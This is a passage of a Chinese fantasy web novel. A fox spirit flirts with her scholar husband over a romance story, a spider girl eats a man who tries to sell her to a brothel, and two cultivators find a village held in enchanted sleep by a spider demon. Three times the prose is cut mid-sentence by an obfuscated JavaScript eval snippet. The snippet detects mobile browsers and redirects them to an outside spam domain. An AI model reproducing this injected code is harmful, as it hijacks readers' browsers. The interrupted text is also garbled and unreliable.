故事果然如她所料,新鲜有趣,用词也不似那些圣人经典般晦涩难懂,读起来轻松惬意。就算偶尔跳过一两个不认识的字,也不影响她理解剧情,胡翘翘很快就沉浸其中。 看着看着,胡翘翘觉得自己不是不爱看书,只不过,和那些“之乎者也”的圣人书比起来,还是话本子比较对她的胃口~~ 想到这里,她又一个激灵,连忙闭眼,暗暗道:“圣人在上,翘翘不是觉得你的书比不上话本子,实在是翘翘只是一只粗野蠢笨的小狐狸,理解不了您老人家的微言大义,还请您可千万不要因为生翘翘的气,就让相公在乡试中落榜呀……” 祈祷了许久,她才放下心来,睁眼继续看了下去。 时间在不知不觉中流逝,胡翘翘终于看完了整本《西厢记》,她轻轻合上书,长长地舒了一口气,意犹未尽地感叹道:“这崔莺莺和张生可真是不容易啊,还好最后有情人终成眷属,要是不能在一起,那可真是太可惜了。” 她这边自顾自地感叹,全然没注意到陈子均不知何时已经放下了手中的书,正含笑看着她。 “怎么?听娘子的语气,好像感同身受似的。” “那当然啦!这世间最美好的事情,莫过于有情人终成眷属了。”胡翘翘理直气壮地说道,一双灵动的眼睛闪闪发亮。 虽然她已活了三百多年,但心智单纯懵懂,天真烂漫,和人类少女也没太大区别,对于爱情,她总是充满着美好而纯粹的幻想, 她又看着陈子均,“难道相公不这么觉得吗?” “嗯,”陈子均认真点头,“我也这么觉得。” “嘻嘻……”胡翘翘弯起眼,又看了一眼手中的书,忽然转了一下眼珠,“对了,相公,你看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892993|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个故事吗?要是没看过,翘翘讲给你听呀,好不好?” 看小狐狸那副样儿,陈子均就知道八成又在打什么鬼主意了,笑道,“我看过了。” 胡翘翘眨了眨眼,“看过也不打紧,可以再听一次嘛。” “不用了。”陈子均漫不经心的说,“我不爱听一样的故事。” “用的用的,”胡翘翘连忙说,“翘翘看的这个版本是最新的,保证和相公以前看过的不太一样。” 陈子均强忍着笑意,道:”好吧,娘子讲吧。“ 胡翘翘招招手,“相公坐我旁边来,我再讲。” 陈子均依言坐了过去, 胡翘翘整个人都依偎进了他的怀里,才清了清嗓子,开始绘声绘色地讲了起来:“话说那古代有个书生,名叫张珙,他去赶考的路上,偶遇一位小姐,名叫崔莺莺,两人一见钟情……” 陈子均心中好笑,平时他让她读论语就打瞌睡,一篇学而背了小半个月都记不住,这情情爱爱的艳词浪语,倒是只看了一遍,就能将整个故事大差不差地复述出来。 渐渐地,他便察觉出有些不对劲来。 小狐狸讲的倒是那西厢记的故事,只是省略了许多细节,只专挑那些男女主角之间缠绵悱恻的情节来讲。 “……果然,到了晚上,崔莺莺就过来找张珙,然后两人在半推半就之下,行了那咳咳……”讲到此处,胡翘翘的声音越来越低,脸颊也泛起一抹羞红,一双水汪汪的大眼睛里仿佛盛满了春水,说不出的勾人,还不时瞟他一眼。 陈子均顿时心中了然,自家娘子哪里是给他讲故事,分明是在借讲故事来撩拨他! 也许是因为开始对那传说中的夫妻之 第124章 吃坏人,没问题 薄雾笼罩的长陵城,偶尔传来几声清脆的鸟鸣,街道两旁的店铺陆续开张,小贩们扯着嗓子吆喝,空气中弥漫着各色早点的香气。 “芝麻饼,又香又甜的芝麻饼嘞!” “新鲜出炉的肉烧麦,皮薄馅儿多,快来尝尝啊!” 一身红衣的玉珠儿穿梭在人群中,乌发被梳成了两根麻花辫,垂着两边,随着她的脚步一晃一晃,头顶的蜘蛛银冠在阳光下闪闪发亮,乌溜溜的大眼睛好奇地打量着四周,对一切都感到新奇不已。 “哇,这里就是省城吗?果然比其它地方都热闹多了!” “香喷喷的油饼,快来买呀!”有人扯着嗓子吆喝着。 玉珠儿闻声望去,只见油锅里,一块块金黄酥脆的油饼正滋滋作响,散发出诱人的香味。 “咕噜~” 她忍不住咽了口口水,肚子也不争气地叫唤起来。 好像很好吃的样子…… “老板,这什么馅儿的?” “小姑娘,我这油饼啊,有芝麻白糖馅的,还有鲜肉馅的,你喜欢哪一种?” “怎么卖?” “白糖的三文一个,五文钱两个,鲜肉馅的六文一个,十文钱两个。” 闻言,玉珠儿皱起眉,掰着手指,认认真真地算了起来。 肉馅的六文一个,若按这个价格,买两个的话便是……十一……不,十三文。 “老板,你是不是算错了,买两个肉馅的应该是十三文钱?”她很认真地开口。 老板被她逗笑了,“买两个是十二文,不过一次买两个,可以优惠两文,所以给十文便够了。” 玉珠儿听得似懂非懂,但倒是明白老板的意思—— 两个肉馅儿的油饼,只要十文钱。 “我要两个肉的!!”她脆生生地说罢,从口袋里掏出几枚铜板递过去。 “好嘞!”老板麻利地将用油纸包起两块油饼,递给她,还不忘夸赞道,“小姑娘,你可真有眼光,我这油饼可是远近闻名的,包你吃了还想吃!” 玉珠儿接过油饼,迫不及待地咬了一口。 酥脆的口感,混合着葱花的香味,里面还有肥瘦适中,咬下去油脂和肉汁在口中弥漫,让她顿时觉得幸福感爆棚。 “真好吃呀!” “好吃就多吃点,”老板见她生得可爱,心中欢喜,笑呵呵地问道,“小姑娘,你是一个人吗?” “嗯,我一个人!”玉珠儿的嘴里塞得满满当当,含糊不清地回答道。 老板先是愣了愣,转念一想,许是哪家的小孩儿贪玩,大清早便独自从家里跑出来了,便好心提醒:“那你吃完油饼,就赶快回家,别在外面到处乱跑,当心碰到拐子。” “拐子?”玉珠儿一脸疑惑,“拐子是什么?好吃吗?” 老板哭笑不得,耐心地解释道:“拐子就是专门拐卖小孩的坏人,他们会把小孩抓走,卖到很远的地方去,你就再也见不到你的家人了!” “你方才说,拐子是坏人?” “对,可坏了。”老板说完,见又有客人来了,便转身去招呼生意。 玉珠儿一边蹦蹦跳跳地继续往前走,一边啃着油饼,心中则是在嘀咕。 和尚让她不要随便吃人,说什么会损阴德。 但如果吃的是坏人呢? 那是加阴德,还是损阴德? 想到“坏人”这个词儿,她又不免想起了大坏蛋。 “也不知道大坏蛋现在在哪儿……” 她记得陈子均曾说过要来长陵城,于是在和和尚分开后,左右无处可去,她便也来了长陵城。 当然,她可不是特意来找大坏蛋的,只是来省城逛逛,见见世面而已。 不一会儿,两个油饼便都进了她的小肚皮。 玉珠儿吮着手指,意犹未尽,“好吃,我还想吃……” 但她摸了摸有些干瘪的口袋,小脸又顿时垮了下来。 这几天下来,和尚临走时给她的钱已经所剩无几,再不省着点儿花,可能很快就没了。 “要是大坏蛋在就好了,他肯定有很多钱。”玉珠儿叹了口气,乌溜溜的大眼睛里满是愁绪。 可是,这长陵城这么大,上哪儿才能找到大坏蛋呢? 她苦恼地皱起小眉头,粉嫩的小脸蛋皱成了一团。却没有注意到,不远处,一道贼眉鼠眼的视线已经在她身上停留了许久。 玉珠儿想了半天,正准备放出神识,试着在茫茫人海中寻找陈子均的位置,突然,一个贼眉鼠眼,留着两撇八字胡的男人走到了她面前,一脸和气可亲地问道:“哎,小姑娘,你怎么一个人在这儿啊?你是和家里人走散了,还是迷路了,还是在找人啊?” 一听到“找人”两个字,玉珠儿顿时来了精神,“嗯,我在找人!“ “找人?找什么人啊?说出来,我帮你一起找啊!”男人笑得更亲切了几分,“告诉我你要找谁,说不定我认识呢!” “我在找大坏蛋,你知道他在哪里吗?” “大坏蛋?”男人愣了一下,显然没想到会是这个答案。 “对,就是大坏蛋!”玉珠儿点了点头。 “那你知道他 叫什么名字吗?”男人问道。 “大坏蛋就是大坏蛋,我哪知道他叫什么名字!”玉珠儿理直气壮地说道。 男人看着玉珠儿天真烂漫的模样,心中更加确定,这小姑娘就是那种被家里人宠坏的孩子,所以什么都不懂,无意中和家人走散了。 “嘿嘿,这次发了!“ 眼珠子一转,心里已有了计较。 “嗯,听你这么一说,我好像还真知道你在说谁。”男人故作沉思了片刻,然后一拍大腿,肯定地说道,“没错,我见过他!” “真的吗?”玉珠儿大眼一亮。 “当然是真的!”男人信誓旦旦地说道,“那个大坏蛋,可是长得满脸横肉,看着便凶神恶煞的模样?!” 玉珠儿摇摇小脑袋,认真反驳道,“大坏蛋生得很好看,看着也不凶。” 虽然很坏。 “哦,错了我记错了!”男人连忙改口道,“那大坏蛋啊,是十分英俊,对吧?” “嗯!”玉珠儿点头。 “他就住在春月楼!” “春月楼?那又是什么地方?” “春月楼啊,那可是个好地方!”男人眼珠滴溜溜地转,脸上堆满了笑,“春月楼是一栋很大很大的房子,里面啊,有好多好吃的好玩的,比你吃过的所有糖葫芦都甜,比你见过的所有花灯都好看!” 玉珠儿大眼发亮,“真的吗?那里有那么多好吃的好玩的吗?” “那当然是真的,我还能骗你不成?你要找的大坏蛋也在那里。”男人拍着胸脯,“走吧,我带你去春月楼找他!” 玉珠儿不疑有他,笑嘻嘻道,“好啊好啊,你快带我去吧!” 男人带着玉珠儿穿街过巷,片刻后,来到了一座格外气派的楼阁前。这楼阁足足有三层高,牌匾上龙飞凤舞地写着“春月楼”三个烫金大字,建造得富丽堂皇,但此刻,大门却紧闭着。 男人走到大门外,握住门环用力扣了几下。 没人开门。 男人也不气馁,继续扣着门环。 又过了半天,一个壮汉才将门拉开一条缝,打着哈欠,没好气地乜着男人,“一大清早的,这姑娘们都还没起床,你来干什么?去去去,等晚上再来!” 男人点头哈腰,满脸堆笑:“王哥,是我,马小六,今儿我不是来找姑娘的,是有个好货色送来给妈妈看一看,麻烦你帮我说一声。” 壮汉睁大了还带着眼屎的眼睛,上下打量了他一眼,又看了看他身后的玉珠儿,顿时露出了一个猥琐的笑容,,“哎哟,马老六,你可真行,哪儿找来这么水灵的小姑娘,等着啊。” 他转身进了楼里。 玉珠儿等得有些不耐烦了,问道,“喂,我们什么时候能见到大坏蛋啊?” 男人耐着性子哄道:“快了,再等一会儿就能见到了。” 没一会儿,之前那壮汉便去而复返,站在门口朝他们招手:“进来吧!” 男人顿时喜笑颜开,扭头对玉珠儿说,“走吧,我带你去找大坏蛋。” 壮汉引着男人和玉珠儿穿过一条长长的走廊,来到了一处雕花木门前,再叩了叩门,“妈妈,人带来了。” “进来吧。”一个女人的声音从里面传了出来。 壮汉推开门,男人连忙带着玉珠儿走了进去。 只见房间里珠光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892994|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝气,香气袭人,一名浓妆艳抹,身材丰腴的妇人斜倚在软榻上,正笑吟吟地看着他们。 “妈妈,你看看,我今天给你带来的货,这模样,这身段,可是万里挑一!”男人献宝似的指着玉珠儿。 老鸨上下打量着玉珠儿,眼中闪过一丝惊艳之色,这小丫头,年纪虽小,但容貌却是出乎她意料的精致,肌肤胜雪,吹弹可破,尤其是那一双大眼睛,水灵灵的,仿佛会说话一般,若是好好调教个几年,等长大了,将来必定能成为这春月楼的头牌! “不错,不错。”老鸨满意地点了点头,“确实不错。” “那是当然,我办事,您还不放心吗?”男人谄媚地笑着。 “说吧,你要多少银子?” “不多,二十两。”男人伸出两根手指。 “什么?二十两?”老鸨蹭地一下坐直了身子,柳眉倒竖,“马老六,你这是把我当冤大头宰呢?这小丫头才几岁啊?!最多也就值十两银子!” “妈妈,您这就说笑了,您也不看看,这小丫头长得多水灵,细皮嫩肉的,将来好好调教一番,别说一个二十两了,一百个二十两也能给你挣得到啊!” 老鸨冷哼一声,正要说话,玉珠儿一脸迷茫地问道:“你们在说什么呢?大坏蛋呢?” “大坏蛋?”眼见钱马上就要到手,马老六也懒得再哄小姑娘了,随即哈哈大笑起来,“小丫头,这里是春月楼,整个长陵城最有名的青楼,最多的就是男人!你要想找坏男人啊,等你大一点,想找多坏的都有…… 玉珠儿皱起眉:“什么意思,大坏蛋不在这里吗?” “小丫头,你还没明白呢?什么大坏蛋大好蛋的,都是老子骗你的!你是被我卖到这里来了!”马老六蹲下身看着她,语气里满是戏谑。 “你是说,你将我 卖了,所以……”玉珠儿的眼睛眯了起来,“你是拐子?!” 马老六笑得更嚣张了,“没错,老子就是拐子!” “拐子是坏人!” “没错,老子就是坏人!你能拿我怎么样?” “吃掉坏人,应该没问题!” 这声音稚嫩,语气却冰冷无比。 “没错,吃掉坏人……”马老六的笑声戛然而止,猛然间意识到不对劲,“你说什么?” 话音未落,只见眼前的小女孩竟凭空消失,取而代之的,是一只比人还大的黑色蜘蛛!这蜘蛛浑身散发着令人心悸的寒意,猩红的眼睛死死地盯着他,锋利的獠牙闪着寒光。 还没等马老六反应过来,黑色蜘蛛张开血盆大口,一口将他吞了下去。 “啊——”老鸨吓得魂飞魄散,尖叫一声,白眼一翻,直挺挺地向后倒去。 …… …… 太阳洒在身上暖意十足,陈子均走到路口的早餐摊前,要了两份胡翘翘爱吃的羊肉面片儿汤,用自带的碗装好了,再放进食盒。 这几天小青不在,买早餐的任务便无人承担。若是胡翘翘起得早,便会和他一起出门吃早饭,若是像今天一样,还没起床,陈子均就会一个人出来,将早饭买好带回去。 买好了面片汤,陈子均没急着回去,而是又走到了糕点铺子,买了两盒糖蜜糕、豆儿糕,再去旁边的一家味道不错的小酒店,预订了午饭,他付了钱,留下地址,等到中午,对方会直接送上门。 一切安排妥当,陈子均转身准备回去,忽然,不远处的某座楼中,传来一声女人惊恐之极的尖叫:“啊——” 陈子均不知发生了什么事,神念还未探出,就见那栋楼的窗户里又跃出了一个红衣小女娃,那女娃头戴银冠,雪肤乌眼,精致得像个瓷娃娃,不是玉珠儿又是谁? “……” 她怎么会在这里? 这时,玉珠儿也看到了陈子均,顿时眼睛一亮,两条小短腿一迈,就朝他飞奔而来,一边跑还一边兴奋地大喊:“大坏蛋!我终于找到你了!” 看着像炮弹一样冲过来的玉珠儿,陈子均无奈地叹了口气,伸出一只手接住了她,免得她撞到自己。 “你怎么会在这里?” “我,我……”玉珠儿支支吾吾半天,也没说出个所以然来,最后只能气鼓鼓地瞪着陈子均,“我来这里随便逛逛,不行吗?反正不是来找你的!!” 第125章 遭遇梦魇 陈子均又回了糕点铺子,再买了几样点心。 到家中时,胡翘翘还没起来。 陈子均推开卧室门,把点心、面片儿汤都放在桌上,转身来到床前。 胡翘翘还窝在被窝里,双眸轻闭。 “娘子,起来吃早饭了。” 被窝里的人毫无动静,似乎睡得极熟,但均匀平稳得几乎有些刻意的呼吸声,却告诉了陈子均,她是在装睡。 陈子均坐下,语气中带了一丝戏谑:“娘子,睡得这么熟吗?” 她不做声。 于是,陈子均伸手捏住了她秀气的鼻子, “还不醒?” 唔…… 胡翘翘的鼻子被捏住,呼吸不畅,小脸憋得通红,却依旧紧闭双眼,不肯醒来。 看她这幅模样,陈子均真怕她憋死。 想了想,松开她的鼻子,俯在她的耳边,轻声道,“娘子再装睡,我可要不客气了啊?” 他的气息扑在耳廓上,一股酥麻的痒意传来,胡翘翘只觉得身子都软了几分,眼睛还是闭得死死的,势要将装睡进行到底。 嘻嘻,相公说这种话,反而更让她期待了呢…… 不知道相公会怎么个不客气法…… 她正胡思乱想着,忽然感觉到一只微凉的大手探入了被窝,而后,在她还没反应过来之前,脚丫子就被一把握住了。 “娘子再装睡,我可要挠你脚了啊?”陈子均低声说。 啊! 她最怕挠痒痒了! 胡翘翘第一反应就是将脚丫子一缩,她现在实力大进,陈子均又没用力,居然被她一下子挣脱了。 然后继续装睡。 陈子均又好气又好笑,不去抓她的脚了,将目标改成了她腰上的痒痒肉。 床就这么大,这一下,胡翘翘没地方可以躲了,顿时笑得花枝乱颤,身体在被子里扭来扭去。 “呜呜呜,相公,翘翘痒死了,别挠了……” 最后,她终于睁眼,一双水汪汪的大眼睛控诉地看着陈子均,“相公,你坏死了,明知道人家最怕痒了。” “谁让你装睡的。”陈子均伸手帮她整理了一下有些凌乱的头发,“好了,快起来吧,给你买了面片汤,再耽搁就要凉了。” “面片汤……”胡翘翘的眼睛顿时亮了,接着撒娇道,“可是……人家现在起不来嘛……” “哦?那怎么办呢?” “相公喂我吃吧。” 陈子均摇了摇头,“行吧。” 他将面片汤端过来,舀起一勺,送到她的嘴边。 “啊……”胡翘翘张开嘴巴,将面片汤吞了下去。 就这样,吃了几口,胡翘翘心满意足地说,“好啦,剩下的我自己起来再吃,相公也快去吃吧,一会儿就不好吃了。” “嗯。” 吃过早饭,胡翘翘收拾碗筷,打扫屋舍,陈子均则是在花园里忙碌着,还不忘查看老牛的情况,给它喂了一滴灵液。 夫妻俩一个屋内,一个屋外,各自忙碌着,却又彼此牵挂,空气中仿佛都弥漫着淡淡的温情。 等事情做得差不多了,两人都来到书房,陈子均从书架上取出本前人的文集随手翻阅,胡翘翘则是选了个新的话本子,津津有味地看了起来。 太阳渐渐升高。 陈子均记起了崔源两人的邀约,将书合上,对胡翘翘道,“娘子,我出门去见崔兄他们了。” 胡翘翘点了点头,轻声叮嘱,“相公记得早点回来呀。” “嗯,我会的。”陈子均说完,走到她身边,俯身在她额头上轻轻一吻,“娘子要是在家觉得闷,可以出去走走。” “好。”胡翘翘点头。 将陈子均送到门口,看着他离去的背影,胡翘翘的心中忽然空落落的。 吃过午饭,她也不想修炼,一个人坐在院子里,百无聊赖地踢着石子,片刻后,忽然想到了一件事。 上次从长陵秘境出来时,许曼和石珊珊邀请过她有时间再去找她们,一转眼快一个月过去,她差点将这事儿忘了,正好今天相公不在家,没事可做,去同她们见个面吧。 …… 城南,修士聚居区。 片刻后,胡翘翘来到了上次的那间茶楼,又从储物袋中拿出一个纸鹤。 她激活上面的符文,再对着纸鹤说了几句话。 纸鹤便似活了过来一般,扑棱着翅膀,摇摇晃晃地飞了起来。 它在半空中盘旋片刻,忽而一阵空间波动,凭空消失不见。 这是许曼和石珊珊给她的传音纸鹤。 原理也很简单,原主先在纸鹤上烙印气息,再将纸鹤赠予他人。 而持有纸鹤的人若要联系原主,直接将要说的话告诉纸鹤,再将它放飞出去,只要距离不超过百里,纸鹤便能瞬间抵达原主的身边,并将话带到。 果然,没多久,一道火红的身影便风一般地卷到了胡翘翘的面前。 “胡道友,你总算来找我了!”石珊珊清脆的笑声响起,“我和师姐天天都在等着你的消息,还以为你把我们给忘了呢!” 胡翘翘顿时赧然,“真不好意思,我……” “哎 呀,瞧我,说的什么话呀。”石珊珊反应过来,连忙道,“胡道友平时肯定有很多事情要忙,没关系的。” 像前辈这种淡漠脱俗的性子,在没事的时候,自然不会随意和别人联系。 “对了,胡道友,你今日怎么有空来这儿?” “相公他今日约了朋友出去,我一个人也无聊,就想着来找你们了。” 胡翘翘环顾四周,不见许曼的身影,“咦,怎么不见许道友?她没和你一起吗?” 两个女孩儿总是砣不离称,秤不离砣的,今日竟然少了一个,让她有些稀奇。 “哎呀,你来得不巧,”石珊珊叹了口气,“几天前,许师姐回乡去探亲了,还没回来呢。” “这样啊……”胡翘翘有些失落,“我确实来得不巧呀。” 见状,石珊珊忽然心中一动,邀请道:“胡道友,你要是没事情的话,不如我们一起去石师姐的家找她吧?她看到你来了,肯定很高兴。” “啊?”胡翘翘有些意动,又有些犹豫,“她家远吗?会不会耽误很长时间?相公回家见不到我会担心的。” “不算太远,她老家在一个叫落霞村的地方,离咱们这儿也就几百里地,来回差不多一柱香的时间吧,”石珊珊笑道,“那边的风景挺好的,还有很多枣树,结的枣子特别甜,我们玩到傍晚便回来。” 胡翘翘心动了,去摘点枣子给相公也不错,“好,我和你一起去。” “太好了!”石珊珊兴奋,“那我们现在就走!” “别急,你先在这里等我一会儿,”胡翘翘忙道,“我得回去给相公留个口信,免得他回来看不到我担心。” 石珊珊连忙点头答应下来。 回到宅子里,胡翘翘找到纸笔,磨了些墨汁,用毛笔沾着墨汁,才歪歪扭扭地写下一行字。 “相公,我和石珊珊道友去落霞村找许道友,傍晚就回来。——翘翘留。” 出了宅子,她返回修士聚居区,对石珊珊说。 “好了,我们走吧。” “等等,我们这次坐叶舟去。“石珊珊笑道。 “叶舟?” 石珊珊从储物戒中拿出一只小指头长短的玉雕树叶,往面前的空地一抛。 只见那玉叶离手之后,迎风便长,眨眼间便化作一只足有三米长的碧绿叶舟,通体晶莹剔透,悬浮在离地一尺的空中。 “这是上次从长陵秘境回来之后,我从宗门兑换的飞行法器,”石珊珊解释道,“可一次性乘坐五人,这样我们就不用分心飞行,可以安心聊天了。” 胡翘翘又惊又喜,欢呼一声,跳上了叶舟。 石珊珊也上了叶舟,随后,她素手轻抬,掐了个法诀,叶舟顿时光芒大盛,下一刻便化作一道流光,冲天而起,向着落霞村的方向疾驰而去。 长陵城外,不远处的一棵大树上,玉珠儿探出了脑袋,疑惑地眨着大眼。 “咦,那上面不是小狐妖吗?她怎么和修士在一块儿,要去哪儿?” 眼珠子骨碌碌转了一圈,她决定跟着叶舟。 先声明,她可绝对不是替大坏蛋担心小狐妖的安全,只不过是好奇,加上闲得无聊,跟上去看看而已。 对,就是这样。 …… 坐在叶舟和自己飞行的感觉果然不太一样,就像坐在椅子上一样平稳,还有一层无形的护罩,替上面的人挡去了天空上的风。速度虽然比不上御剑或是自己飞行,但胜在平稳舒适,还能分出心神聊天或是欣赏沿途的风景。 胡翘翘很是新鲜,趴在叶舟边缘,俯瞰着下方景色。 片刻后,她见到远处一片波光粼粼的湖泊,顿时双眸一亮。 “那是什么湖?好漂亮!” “那是落霞湖,落霞村的名字就是由此而来,据说每当夕阳西下,湖面便会映照出漫天霞光,美不胜收。” “真的吗?那我们待会儿就去湖边玩吧?” “好啊!” “对了,我们就这样直接来了,要不要先和许道友说一声?” “嘿嘿,这样她才有惊喜呀。” “嗯,也是哦。” 说话间,叶舟已经飞临落霞村上空。石珊珊操控着叶舟缓缓降落,最终停在了村口的一棵大槐树下。 刚一落地,胡翘翘便迫不及待地跳下叶舟,好奇地打量着四周。 然而,眼前的景象却让她微微一愣。 四处都静悄悄的,一个人影都没有,连鸡犬之声都听不到,空气中,弥漫着一股诡异到了极点的寂静。 “奇怪,怎么一个人都没有?”胡翘翘疑惑地转头,按理说,此时应该是村民们劳作的时间,这村子里怎么如此冷清? 石珊珊也察觉到了一丝不对劲,她站定脚步,散开神念,却发现神念根本无法探入村子的深处。 顿时,眉头也紧蹙起来。 “是有些奇怪……”她从怀中摸出了一片玉符,“胡道友,你稍等一下,我先联系一下师姐。” 这是五行宗弟子专用的传讯符,是联络同门的最快捷方式。 然而,无论石珊珊如何催动,玉符都像一块顽石般毫无反应。 “不好,师姐可 能出事了!”石珊珊神情大变,快步朝着村中奔去。 胡翘翘略一犹豫,便跟了上去。 虽说这村子有些诡异,但书上常说,滴水之恩,当涌泉相报,上次许曼和石珊珊帮她得到了长生花,现在许曼可能有危险,石珊珊只身闯进村中,她总不能袖手旁观。 当然了,她也不是毫无依仗的莽撞。首先,之前得到的那几样法宝如今她都能使用,她曾试验过那些法宝的威力,只使出一小半就已经极为惊人,比如那件法裙,她曾经用自己的爪子和牙齿全力攻击,也依然无法损坏分毫。 除了那几样法宝之外,她手中还有四颗雷果,以及卤蛋爷爷的那根据说可以救她一命的树枝,即便真有危险,她自保应该没什么问题。 …… 另一边。 长陵城内的某间酒楼。 酒还未过三巡,菜刚上五味,崔源替三人面前的酒杯全部斟满,放下酒壶,端起自己的那一杯,笑道:“今日我们和陈兄不醉不归,来!” 陈子均笑了笑,正要伸手去拿酒杯,突然眸光一凝,动作顿住。 他猛然起身,对崔源和穆士铭道,“二位,我突然想起,还有一件急事没做,今日就先聚到这里,告辞。” 话说完,也不等两人回应,已经转身就走。 崔源和穆士铭都吓了一跳,“陈兄,什么事如此着……” 但陈子均去得快极,两人最后一个“急”字还未落下,眼前已经不见了陈子均的身影。 崔源和穆士铭都揉揉双眼,百思不得其解。 “陈兄人呢?” “怎么走得这么快?” …… 进入村中,却依然是一片寂静,除了风吹虫鸣,毫无半点声音。 “有人吗?!”石珊珊喊了声。 村子依旧沉默。 “究竟发生了什么?” 胡翘翘不解,她想了想,飞起来,俯瞰全村,忽然有所发现,身形一晃,落到了一户人家的院中。 紧接着,她的声音响了起来。 “石道友,你快来看看!” “怎么了?” 石珊珊也一跃,进了那院子,紧接着,她被眼前场景惊得呆住。 只见院子的地面上,一动不动地趴着两个人,看衣着打扮,应该是一对村民夫妻。 “他们……死了?? 石珊珊冲上前,查看尸体的情况,结果手刚碰到其中一人,面容一刹那变得古怪起来。 这两人压根不是什么尸体,甚至连伤痕也没看到一处,更准确点说,他们身体温热,皮肤也有弹性,甚至连呼吸也十分平稳,就像是……睡着了。 “喂,快醒醒!” 石珊珊摇晃着其中一人的身子,但无论她怎么摇,对方都毫无反应,没有半点要苏醒的意思。 这是怎么回事? 她又尝试去叫另外一人,结果依旧一样。 胡翘翘又来到另一户村民家中,推开屋门,发现里面同样有几个沉睡不醒的人。 石珊珊也跟了过来,看到这一幕,同样面色一凛,“……该不会这村中所有的人都是这样吧?” “对了,我曾经跟师姐去过她家一次!胡道友,我们过去看看!” 石珊珊在前带路,胡翘翘跟着她,没多久,来到村中的一户人家,推开一间厢房的门,而后,一眼就看到了正趴在桌上的许曼。 “师姐!”石珊珊冲上前,推搡着许曼,但后者同样怎么叫都不醒。 她面前的桌上,还放着半杯早已凉透的茶,显然她是喝茶喝到一半,突然陷入了诡异的沉睡。 石珊珊脸色雪白,扭过头,目光求助地看向胡翘翘,“胡道友,你知道这是怎么回事吗?” 胡翘翘摇了摇头,喃喃道,“难不成,他们是被人施了什么沉睡不醒的术法? 顿时,石珊珊心生悸然,这种诡异的咒术或是术法,她闻所未闻。 这件事,显然不在她的能力范围之内。 “胡道友,我们先带师姐离开,回去再通知其他人来处理这边的事情。” “好。”胡翘翘刚点了下头,忽然见到石珊珊双眼一闭,身子软倒在地上。 “石道友,你怎么了?”她吓了一跳,顿时不安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892995|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“糟了,难道她也中了那个沉睡的术法?” 突然,一道长长的银丝穿过半开的窗户,朝胡翘翘射了过来! 胡翘翘大吃一惊,连忙躲开。 “吱——” 一声尖锐刺耳的叫声在耳边炸响。 这时,胡翘翘才发现,银丝的目的并不是她,而是将她身后的某个生物钉在了地面上。 仔细看去,竟然是一只巴掌大的黑色蜘蛛,它吱吱叫着,逐渐变成了一缕黑烟消散。 “这是什么?”胡翘翘一愣。 突然,窗外跳进来了一个穿着红衣的小女童,看模样只有六七岁,头戴银冠,肌肤胜雪,一双大眼睛灵动无比,可爱至极。 “不是术法,”她张开嘴,脆生生地说,“是梦魇搞的鬼。” “梦魇?”胡翘翘更茫然了,“那又是什么?” “真是只笨蛋狐妖,”女童双手叉腰,分明声 音稚嫩,神态却老气横秋,“梦魇是一种变异后的蛛妖,它的特殊本领就是让人陷入它们制造的梦境,而刚才那只蜘蛛,就是梦魇催生出来的梦蛛,被它咬上一口,就会陷入它的深层梦境,若是无法破除梦境,就会被梦魇当成食物,一点点地吸干魂魄。” 胡翘翘瞪大了眼,注意力却只在第一句话上:“你、你怎么知道我是狐妖?” 她感觉匪夷所思,这么久以来,她还是第一次被人识破自己的身份,即便当初去长陵秘境之时,那个五行宗的中年美妇也没能堪破呢!难道对方比那中年美妇还要厉害? 红衣女童撇了撇嘴:“这有什么,我一眼便知道了。” 小狐狸顿时肃然起敬,忍不住道,“没想到你这么矮,居然这么厉害。” 她本来是恭维对方,没想到那红衣女童顿时跳了起来,气鼓鼓地大声道:“小狐妖,你说谁矮?!” 胡翘翘眨了眨眼,连忙改口:“我是说,没想到你长得这么可爱,居然这么厉害。” 红衣女童的脸色这才缓和下来:“哼,这还差不多。” “呸,你就是个小矮子。”突然,一个声音飘忽不定地传来,“小矮子,小矮子,几百年了,才长高这么一点点,真是丢死人了。” “谁在说话?!”胡翘翘吓了一跳。 红衣女童大怒,蹦蹦跳跳地道:“梦魇,你给我滚出来!几百年前你在我化形的时候捣乱,让梦蛛咬了我一口,害我睡着梦到自己是小孩儿,我才会一直这么高的!我还没找你算账呢!” “想找我算账?”那声音得意地笑道,“那你就来深层梦境找我吧!” 红衣女童顿时磨起了牙,咯吱咯吱的,听着有些瘆人。 “你以为我不敢?” “没错,你不敢。” “……”红衣女童暴跳如雷,突然变成一只大蜘蛛,在屋子里到处乱爬,八条腿挥来挥去。 “该死的梦魇,你给我等着!” 胡翘翘在一旁看得屏住呼吸,不敢做声。 直等到那只大蜘蛛又变回了红衣女童,她才小心翼翼地问道:“那个,你和这个梦魇认识啊?” 